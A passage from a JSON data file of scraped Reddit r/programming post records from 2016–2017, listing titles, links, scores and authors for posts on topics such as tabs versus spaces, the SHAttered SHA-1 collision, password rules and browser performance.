    "url": "https://blog.mozilla.org/blog/2017/06/21/2-million-prize-decentralize-web-apply-today/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6heysw",
  "url": "https://stackoverflow.blog/2017/06/15/developers-use-spaces-make-money-use-tabs/",
  "permalink": "https://www.reddit.com/r/programming/comments/6heysw/developers_who_use_spaces_make_more_money_than/",
  "title": "Developers who use spaces make more money than those who use tabs - Stack Overflow Blog",
  "body": null,
  "author": "night_of_knee",
  "subreddit": "programming",
  "score": 8020,
  "upvoteRatio": 0.91,
  "numComments": 2008,
  "createdAt": "2017-06-15T13:22:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://stackoverflow.blog/2017/06/15/developers-use-spaces-make-money-use-tabs/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6h08z5",
  "url": "https://encode.ru/threads/2648-Published-rANS-patent-by-Storeleap/page3",
  "permalink": "https://www.reddit.com/r/programming/comments/6h08z5/google_is_currently_trying_to_patent_video/",
  "title": "Google is currently trying to patent video compression application of Asymmetric Numeral Systems - which is replacing Huffman and arithmetic coding due to up to 30x speedup",
  "body": null,
  "author": "elenorf1",
  "subreddit": "programming",
  "score": 3159,
  "upvoteRatio": 0.95,
  "numComments": 451,
  "createdAt": "2017-06-13T14:35:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://encode.ru/threads/2648-Published-rANS-patent-by-Storeleap/page3",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6gr2fc",
  "url": "http://bugs.java.com/bugdatabase/view_bug.do?bug_id=4045622",
  "permalink": "https://www.reddit.com/r/programming/comments/6gr2fc/til_the_current_hash_function_for_java_strings_is/",
  "title": "TIL the current hash function for Java strings is of unknown author. In 2004 Joshua Bloch \"went so far as to call up Dennis Ritchie, who said that he did not know where the hash function came from. He walked across the hall and asked Brian Kernighan, who also had no recollection.\" [x-post /r/java]",
  "body": null,
  "author": "walen",
  "subreddit": "programming",
  "score": 9228,
  "upvoteRatio": 0.92,
  "numComments": 477,
  "createdAt": "2017-06-12T08:59:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://bugs.java.com/bugdatabase/view_bug.do?bug_id=4045622",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6geyut",
  "url": "https://m.rover.io/wwdc-2017-update-significant-updates-to-location-permissions-coming-with-ios-11-41f96001f87f",
  "permalink": "https://www.reddit.com/r/programming/comments/6geyut/apple_will_remove_ability_for_developers_to_only/",
  "title": "Apple will remove ability for developers to only give an Always On location setting in their apps",
  "body": null,
  "author": "GoinFerARipEh",
  "subreddit": "programming",
  "score": 5338,
  "upvoteRatio": 0.95,
  "numComments": 493,
  "createdAt": "2017-06-10T12:22:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://m.rover.io/wwdc-2017-update-significant-updates-to-location-permissions-coming-with-ios-11-41f96001f87f",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6g7iyz",
  "url": "http://webaim.org/blog/user-agent-string-history/",
  "permalink": "https://www.reddit.com/r/programming/comments/6g7iyz/why_every_user_agent_string_start_with_mozilla/",
  "title": "Why every user agent string start with \"Mozilla\"",
  "body": null,
  "author": "m4nz",
  "subreddit": "programming",
  "score": 4871,
  "upvoteRatio": 0.93,
  "numComments": 589,
  "createdAt": "2017-06-09T10:13:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://webaim.org/blog/user-agent-string-history/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6fkkst",
  "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit",
  "permalink": "https://www.reddit.com/r/programming/comments/6fkkst/best_websites_a_programmer_should_visit/",
  "title": "Best websites a programmer should visit",
  "body": null,
  "author": "henrik_w",
  "subreddit": "programming",
  "score": 3651,
  "upvoteRatio": 0.91,
  "numComments": 291,
  "createdAt": "2017-06-06T08:52:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6eh7gw",
  "url": "https://itunes.apple.com/us/book/app-development-with-swift/id1219117996?mt=11",
  "permalink": "https://www.reddit.com/r/programming/comments/6eh7gw/apple_has_released_a_free_beginnerlevel_900page/",
  "title": "Apple has released a free, beginner-level, 900-page book \"App Development with Swift\" + related teaching materials.",
  "body": null,
  "author": "satisfyinghump",
  "subreddit": "programming",
  "score": 6080,
  "upvoteRatio": 0.92,
  "numComments": 478,
  "createdAt": "2017-05-31T19:12:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://itunes.apple.com/us/book/app-development-with-swift/id1219117996?mt=11",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6cw1tf",
  "url": "https://stackoverflow.blog/2017/05/23/stack-overflow-helping-one-million-developers-exit-vim/",
  "permalink": "https://www.reddit.com/r/programming/comments/6cw1tf/stack_overflow_helping_one_million_developers/",
  "title": "Stack Overflow: Helping One Million Developers Exit Vim",
  "body": null,
  "author": "variance_explained",
  "subreddit": "programming",
  "score": 9160,
  "upvoteRatio": 0.93,
  "numComments": 1067,
  "createdAt": "2017-05-23T17:14:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://stackoverflow.blog/2017/05/23/stack-overflow-helping-one-million-developers-exit-vim/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6bv8ay",
  "url": "https://www.ncsc.gov.uk/blog-post/let-them-paste-passwords",
  "permalink": "https://www.reddit.com/r/programming/comments/6bv8ay/let_them_paste_passwords/",
  "title": "Let them paste passwords",
  "body": "mountainous provide shelter piquant carpenter serious ripe jeans outgoing humorous\n\n *This post was mass deleted and anonymized with [Redact](https://redact.dev/home)*",
  "author": "multijoy",
  "subreddit": "programming",
  "score": 3898,
  "upvoteRatio": 0.93,
  "numComments": 561,
  "createdAt": "2017-05-18T10:01:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.ncsc.gov.uk/blog-post/let-them-paste-passwords",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6bnhzy",
  "url": "https://medium.com/@contact_16315/firebase-costs-increased-by-7-000-81dc0a27271d",
  "permalink": "https://www.reddit.com/r/programming/comments/6bnhzy/due_to_a_change_in_how_they_report_data_usage_our/",
  "title": "Due to a change in how they report data usage, our monthly costs for Firebase, a SaaS provided by Google, has increased from $25 a month to ~$2,000",
  "body": null,
  "author": "dzamir",
  "subreddit": "programming",
  "score": 4495,
  "upvoteRatio": 0.89,
  "numComments": 754,
  "createdAt": "2017-05-17T08:47:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@contact_16315/firebase-costs-increased-by-7-000-81dc0a27271d",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_69wyay",
  "url": "http://labs.ig.com/code-coverage-100-percent-tragedy",
  "permalink": "https://www.reddit.com/r/programming/comments/69wyay/the_tragedy_of_100_code_coverage/",
  "title": "The tragedy of 100% code coverage",
  "body": null,
  "author": "niepiekm",
  "subreddit": "programming",
  "score": 3210,
  "upvoteRatio": 0.92,
  "numComments": 693,
  "createdAt": "2017-05-08T08:56:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://labs.ig.com/code-coverage-100-percent-tragedy",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_68kpzj",
  "url": "http://www.ybrikman.com/writing/2014/04/09/six-programming-paradigms-that-will/",
  "permalink": "https://www.reddit.com/r/programming/comments/68kpzj/six_programming_paradigms_that_will_change_how/",
  "title": "Six programming paradigms that will change how you think about coding",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 4865,
  "upvoteRatio": 0.89,
  "numComments": 383,
  "createdAt": "2017-05-01T07:56:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.ybrikman.com/writing/2014/04/09/six-programming-paradigms-that-will/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_68472f",
  "url": "https://www.troyhunt.com/reckon-youve-seen-some-stupid-security-things-here-hold-my-beer/",
  "permalink": "https://www.reddit.com/r/programming/comments/68472f/reckon_youve_seen_some_stupid_security_things/",
  "title": "Reckon you've seen some stupid security things? Here, hold my beer... | Troy Hunt",
  "body": null,
  "author": "QuirkySpiceBush",
  "subreddit": "programming",
  "score": 4661,
  "upvoteRatio": 0.93,
  "numComments": 469,
  "createdAt": "2017-04-28T17:44:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.troyhunt.com/reckon-youve-seen-some-stupid-security-things-here-hold-my-beer/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_662tgc",
  "url": "http://nintaco.com",
  "permalink": "https://www.reddit.com/r/programming/comments/662tgc/i_created_an_opensource_nes_emulator_that_can/",
  "title": "I created an open-source NES emulator that can rewind time. It can be programmatically controlled from C, C#, Java, Lua and Python.",
  "body": null,
  "author": "zeroone",
  "subreddit": "programming",
  "score": 3758,
  "upvoteRatio": 0.94,
  "numComments": 444,
  "createdAt": "2017-04-18T13:28:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://nintaco.com",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_656z8t",
  "url": "https://redditblog.com/2017/04/13/how-we-built-rplace/",
  "permalink": "https://www.reddit.com/r/programming/comments/656z8t/how_we_built_rplace/",
  "title": "How We Built r/Place",
  "body": null,
  "author": "bsimpson",
  "subreddit": "programming",
  "score": 15024,
  "upvoteRatio": 0.84,
  "numComments": 833,
  "createdAt": "2017-04-13T17:35:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://redditblog.com/2017/04/13/how-we-built-rplace/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_64uwoq",
  "url": "https://labs.spotify.com/2014/02/28/how-to-shuffle-songs/",
  "permalink": "https://www.reddit.com/r/programming/comments/64uwoq/how_spotify_shuffles_songs/",
  "title": "How Spotify shuffles songs",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3326,
  "upvoteRatio": 0.93,
  "numComments": 341,
  "createdAt": "2017-04-12T00:34:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://labs.spotify.com/2014/02/28/how-to-shuffle-songs/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_64oqaq",
  "url": "http://josephg.com/blog/electron-is-flash-for-the-desktop/",
  "permalink": "https://www.reddit.com/r/programming/comments/64oqaq/electron_is_flash_for_the_desktop/",
  "title": "Electron is flash for the Desktop",
  "body": null,
  "author": "z3t0",
  "subreddit": "programming",
  "score": 4141,
  "upvoteRatio": 0.9,
  "numComments": 1433,
  "createdAt": "2017-04-11T04:28:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://josephg.com/blog/electron-is-flash-for-the-desktop/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_612v99",
  "url": "https://github.com/Microsoft/vscode/issues/22900",
  "permalink": "https://www.reddit.com/r/programming/comments/612v99/vs_code_uses_13_cpu_when_idle_due_to_blinking/",
  "title": "VS Code Uses 13% CPU When Idle Due to Blinking Cursor Rendering",
  "body": null,
  "author": "robertdelder",
  "subreddit": "programming",
  "score": 3310,
  "upvoteRatio": 0.93,
  "numComments": 689,
  "createdAt": "2017-03-23T16:21:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/Microsoft/vscode/issues/22900",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_601zmg",
  "url": "https://arstechnica.co.uk/information-technology/2017/03/google-jpeg-guetzli-encoder-file-size/",
  "permalink": "https://www.reddit.com/r/programming/comments/601zmg/google_reduces_jpeg_file_size_by_35_new_algorithm/",
  "title": "Google reduces JPEG file size by 35%, new algorithm uses research on human psychovisual system",
  "body": null,
  "author": "xorandor",
  "subreddit": "programming",
  "score": 5449,
  "upvoteRatio": 0.94,
  "numComments": 421,
  "createdAt": "2017-03-18T02:40:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arstechnica.co.uk/information-technology/2017/03/google-jpeg-guetzli-encoder-file-size/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5ym1fv",
  "url": "https://blog.codinghorror.com/password-rules-are-bullshit/",
  "permalink": "https://www.reddit.com/r/programming/comments/5ym1fv/password_rules_are_bullshit/",
  "title": "Password Rules Are Bullshit",
  "body": null,
  "author": "fl4v1",
  "subreddit": "programming",
  "score": 7660,
  "upvoteRatio": 0.93,
  "numComments": 1355,
  "createdAt": "2017-03-10T13:27:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.codinghorror.com/password-rules-are-bullshit/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5wjhnp",
  "url": "https://blog.mozilla.org/blog/2017/02/27/mozilla-acquires-pocket/",
  "permalink": "https://www.reddit.com/r/programming/comments/5wjhnp/mozilla_acquires_pocket_plans_to_opensource/",
  "title": "Mozilla Acquires Pocket, plans to open-source",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3351,
  "upvoteRatio": 0.92,
  "numComments": 286,
  "createdAt": "2017-02-27T21:19:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.mozilla.org/blog/2017/02/27/mozilla-acquires-pocket/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5vyhy2",
  "url": "https://bugs.webkit.org/show_bug.cgi?id=168774#c27",
  "permalink": "https://www.reddit.com/r/programming/comments/5vyhy2/webkit_just_killed_their_svn_repository_by_trying/",
  "title": "Webkit just killed their SVN repository by trying to commit a SHA-1 collision attack sensitivity unit test.",
  "body": null,
  "author": "Serialk",
  "subreddit": "programming",
  "score": 3152,
  "upvoteRatio": 0.95,
  "numComments": 593,
  "createdAt": "2017-02-24T16:42:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bugs.webkit.org/show_bug.cgi?id=168774#c27",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5vq9h8",
  "url": "https://shattered.io/",
  "permalink": "https://www.reddit.com/r/programming/comments/5vq9h8/shattered_sha1_broken_in_practice/",
  "title": "SHAttered: SHA-1 broken in practice.",
  "body": null,
  "author": "Serialk",
  "subreddit": "programming",
  "score": 4938,
  "upvoteRatio": 0.94,
  "numComments": 660,
  "createdAt": "2017-02-23T13:04:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://shattered.io/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5uc57m",
  "url": "http://www.theregister.co.uk/2017/02/15/think_different_shut_up_and_work_harder_says_linus_torvalds/",
  "permalink": "https://www.reddit.com/r/programming/comments/5uc57m/talk_of_tech_innovation_is_bullsht_shut_up_and/",
  "title": "Talk of tech innovation is bullsh*t. Shut up and get the work done – says Linus Torvalds",
  "body": null,
  "author": "stronghup",
  "subreddit": "programming",
  "score": 3628,
  "upvoteRatio": 0.92,
  "numComments": 455,
  "createdAt": "2017-02-16T02:37:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.theregister.co.uk/2017/02/15/think_different_shut_up_and_work_harder_says_linus_torvalds/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5rtflm",
  "url": "https://www.codeaddiction.net/articles/51/lets-stop-bashing-c-sharp",
  "permalink": "https://www.reddit.com/r/programming/comments/5rtflm/lets_stop_bashing_c/",
  "title": "Let's stop bashing C#",
  "body": null,
  "author": "coredev",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.51,
  "numComments": 245,
  "createdAt": "2017-02-03T11:32:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.codeaddiction.net/articles/51/lets-stop-bashing-c-sharp",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5q9a9b",
  "url": "https://lifepluslinux.blogspot.com/2017/01/look-before-you-paste-from-website-to.html",
  "permalink": "https://www.reddit.com/r/programming/comments/5q9a9b/look_before_you_paste_from_a_website_to_terminal/",
  "title": "Look before you paste from a website to terminal",
  "body": null,
  "author": "michalg82",
  "subreddit": "programming",
  "score": 2941,
  "upvoteRatio": 0.94,
  "numComments": 362,
  "createdAt": "2017-01-26T09:11:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lifepluslinux.blogspot.com/2017/01/look-before-you-paste-from-website-to.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5q3va6",
  "url": "http://blog.strml.net/2017/01/chrome-56-now-aggressively-throttles.html",
  "permalink": "https://www.reddit.com/r/programming/comments/5q3va6/chrome_56_will_aggressively_throttle_background/",
  "title": "Chrome 56 Will Aggressively Throttle Background Tabs",
  "body": null,
  "author": "sumdudeinhisundrware",
  "subreddit": "programming",
  "score": 4922,
  "upvoteRatio": 0.94,
  "numComments": 521,
  "createdAt": "2017-01-25T15:45:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blog.strml.net/2017/01/chrome-56-now-aggressively-throttles.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5md35s",
  "url": "https://github.com/anttiviljami/browser-autofill-phishing",
  "permalink": "https://www.reddit.com/r/programming/comments/5md35s/a_simple_demo_of_phishing_by_abusing_the_browser/",
  "title": "A simple demo of phishing by abusing the browser autofill feature",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3729,
  "upvoteRatio": 0.93,
  "numComments": 596,
  "createdAt": "2017-01-06T11:28:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/anttiviljami/browser-autofill-phishing",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5mc5jv",
  "url": "http://robert.ocallahan.org/2014/08/choose-firefox-now-or-later-you-wont.html?m=1",
  "permalink": "https://www.reddit.com/r/programming/comments/5mc5jv/choose_firefox_now_or_later_you_wont_get_a_choice/",
  "title": "Choose Firefox Now, Or Later You Won't Get A Choice",
  "body": null,
  "author": "be_haki",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 53,
  "createdAt": "2017-01-06T06:48:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://robert.ocallahan.org/2014/08/choose-firefox-now-or-later-you-wont.html?m=1",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5lk2qb",
  "url": "https://hackernoon.com/the-programmers-guide-to-booking-a-plane-11e37d610045",
  "permalink": "https://www.reddit.com/r/programming/comments/5lk2qb/the_programmers_guide_to_booking_a_plane/",
  "title": "The Programmer’s Guide to Booking a Plane",
  "body": null,
  "author": "Pirhoo",
  "subreddit": "programming",
  "score": 2998,
  "upvoteRatio": 0.9,
  "numComments": 449,
  "createdAt": "2017-01-02T07:29:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://hackernoon.com/the-programmers-guide-to-booking-a-plane-11e37d610045",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5i5k0s",
  "url": "https://github.com/GPUOpen-ProfessionalCompute-Tools/HIP",
  "permalink": "https://www.reddit.com/r/programming/comments/5i5k0s/amd_creates_a_tool_to_convert_cuda_code_to/",
  "title": "AMD creates a tool to convert CUDA code to portable, vendor-neutral C++",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 4360,
  "upvoteRatio": 0.93,
  "numComments": 311,
  "createdAt": "2016-12-13T19:22:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/GPUOpen-ProfessionalCompute-Tools/HIP",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5hlx4e",
  "url": "https://youtu.be/HRANU6KtNEs",
  "permalink": "https://www.reddit.com/r/programming/comments/5hlx4e/this_guy_taught_me_better_than_my_professor/",
  "title": "This guy taught me better than my professor.",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3014,
  "upvoteRatio": 0.89,
  "numComments": 369,
  "createdAt": "2016-12-10T19:48:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/HRANU6KtNEs",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5fp3u8",
  "url": "https://github.com/MaximAbramchuck/awesome-interview-questions",
  "permalink": "https://www.reddit.com/r/programming/comments/5fp3u8/a_curated_awesome_list_of_lists_of_interview/",
  "title": "A curated awesome list of lists of interview questions.",
  "body": null,
  "author": "Vikas6190",
  "subreddit": "programming",
  "score": 409,
  "upvoteRatio": 0.59,
  "numComments": 208,
  "createdAt": "2016-11-30T11:24:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/MaximAbramchuck/awesome-interview-questions",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5emlt9",
  "url": "https://blog.codinghorror.com/lets-encrypt-everything/",
  "permalink": "https://www.reddit.com/r/programming/comments/5emlt9/lets_encrypt_everything/",
  "title": "Let's Encrypt Everything",
  "body": null,
  "author": "Arkaad",
  "subreddit": "programming",
  "score": 3485,
  "upvoteRatio": 0.93,
  "numComments": 508,
  "createdAt": "2016-11-24T07:40:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.codinghorror.com/lets-encrypt-everything/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5dz1t5",
  "url": "http://www.businessinsider.com/programmers-confess-unethical-illegal-tasks-asked-of-them-2016-11",
  "permalink": "https://www.reddit.com/r/programming/comments/5dz1t5/programmers_are_having_a_huge_discussion_about/",
  "title": "Programmers are having a huge discussion about the unethical and illegal things they’ve been asked to do",
  "body": null,
  "author": "gocolts12",
  "subreddit": "programming",
  "score": 5280,
  "upvoteRatio": 0.93,
  "numComments": 1208,
  "createdAt": "2016-11-20T17:30:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.businessinsider.com/programmers-confess-unethical-illegal-tasks-asked-of-them-2016-11",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5da1kv",
  "url": "http://venturebeat.com/2016/11/16/microsoft-joins-the-linux-foundation-as-a-platinum-member/",
  "permalink": "https://www.reddit.com/r/programming/comments/5da1kv/microsoft_joins_the_linux_foundation_as_a/",
  "title": "Microsoft joins The Linux Foundation as a Platinum member",
  "body": null,
  "author": "johnvogel",
  "subreddit": "programming",
  "score": 4189,
  "upvoteRatio": 0.92,
  "numComments": 788,
  "createdAt": "2016-11-16T16:19:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://venturebeat.com/2016/11/16/microsoft-joins-the-linux-foundation-as-a-platinum-member/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5d56fo",
  "url": "https://medium.freecodecamp.com/the-code-im-still-ashamed-of-e4c021dff55e#.vmbgbtgin",
  "permalink": "https://www.reddit.com/r/programming/comments/5d56fo/the_code_im_still_ashamed_of/",
  "title": "The code I’m still ashamed of",
  "body": null,
  "author": "devmastery",
  "subreddit": "programming",
  "score": 4618,
  "upvoteRatio": 0.92,
  "numComments": 800,
  "createdAt": "2016-11-15T21:25:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.freecodecamp.com/the-code-im-still-ashamed-of-e4c021dff55e#.vmbgbtgin",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_5cxns4",
  "url": "https://datarebellion.com/blog/to-learn-programming-do-projects-you-actually-care-about/",
  "permalink": "https://www.reddit.com/r/programming/comments/5cxns4/to_learn_programming_do_projects_you_actually/",
  "title": "To Learn Programming, Do Projects You Actually Care About",
  "body": null,
  "author": "[deleted]",
